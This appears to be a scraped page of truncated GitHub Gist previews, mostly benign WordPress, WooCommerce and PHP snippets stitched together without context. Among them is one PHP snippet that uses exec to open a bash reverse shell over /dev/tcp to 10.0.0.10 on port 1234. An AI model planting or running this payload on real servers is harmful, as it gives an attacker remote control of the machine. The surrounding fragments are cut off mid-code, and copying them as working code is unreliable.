-
Open a browser
# start an instance of firefox with selenium-webdriver $browser_type = 'firefox' $host = 'http://localhost:4444/wd/hub'
$capabilities = array(\WebDriverCapabilityType::BROWSER_NAME => $browser_type);
| /** | |
| * Optimize WooCommerce Scripts | |
| * Remove WooCommerce Generator tag, styles, and scripts from non WooCommerce pages. | |
| */ | |
| add_action( 'wp_enqueue_scripts', 'child_manage_woocommerce_styles', 99 ); | |
| function child_manage_woocommerce_styles() { | |
| //remove generator meta tag | |
| remove_action( 'wp_head', array( $GLOBALS['woocommerce'], 'generator' ) ); |
| <?php | |
| /** | |
| * Plugin Name: Multiple Roles per User | |
| * Description: Allows anyone who can edit users to set multiple roles per user. In a default WordPress environment that wouldn't have much of an effect, since the user would have the privileges of the top-privileged role that you assign to him. But if you have custom roles with custom privileges, this might be helpful. | |
| * Version: 1 | |
| * Author: nikolov.tmw | |
| * Author URI: http://paiyakdev.com/ | |
| * License: GPL2 | |
| */ | |
| /* |
| <?php | |
| function convertCurrency($amount, $from, $to){ | |
| $data = file_get_contents("https://www.google.com/finance/converter?a=$amount&from=$from&to=$to"); | |
| preg_match("/<span class=bld>(.*)<\/span>/",$data, $converted); | |
| $converted = preg_replace("/[^0-9.]/", "", $converted[1]); | |
| return number_format(round($converted, 3),2); | |
| } | |
| echo convertCurrency("10.00", "GBP", "USD"); |
| function queryTwitter($search) | |
| { | |
| $url = "https://api.twitter.com/1.1/search/tweets.json"; | |
| if($search != "") | |
| $search = "#".$search; | |
| $query = array( 'count' => 100, 'q' => urlencode($search), "result_type" => "recent"); | |
| $oauth_access_token = "ABCD"; | |
| $oauth_access_token_secret = "1234"; | |
| $consumer_key = "abcd"; | |
| $consumer_secret = "5678"; |
| <?php | |
| //Display Fields | |
| add_action( 'woocommerce_product_after_variable_attributes', 'variable_fields', 10, 3 ); | |
| //JS to add fields for new variations | |
| add_action( 'woocommerce_product_after_variable_attributes_js', 'variable_fields_js' ); | |
| //Save variation fields | |
| add_action( 'woocommerce_process_product_meta_variable', 'save_variable_fields', 10, 1 ); | |
| /** |
| <?php | |
| exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
| <?php | |
| /** | |
| Re-use some existing WordPress functions so you don't have to write a bunch of raw PHP to check for SSL, port numbers, etc | |
| Place in your functions.php (or re-use in a plugin) | |
| If you absolutely don't need or want any query string, use home_url(add_query_arg(array(),$wp->request)); | |
| Hat tip to: | |
| + http://kovshenin.com/2012/current-url-in-wordpress/ |
| /* | |
| * Divi WordPress Theme and WooCommerce plugin | |
| * Make the Add To Cart buttons appear on the WooCommerce shop page. | |
| */ | |
| add_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 20 ); |
| <?php // ONLY COPY THIS LINE IF NEEDED! | |
| /** | |
| * Adds the ability to sort products in the shop based on the SKU | |
| * Can be combined with tips here to display the SKU on the shop page: https://www.skyverge.com/blog/add-information-to-woocommerce-shop-page/ | |
| * | |
| * @param array $args the sorting args | |
| * @return array updated args | |
| */ | |
| function sv_add_sku_sorting( $args ) { |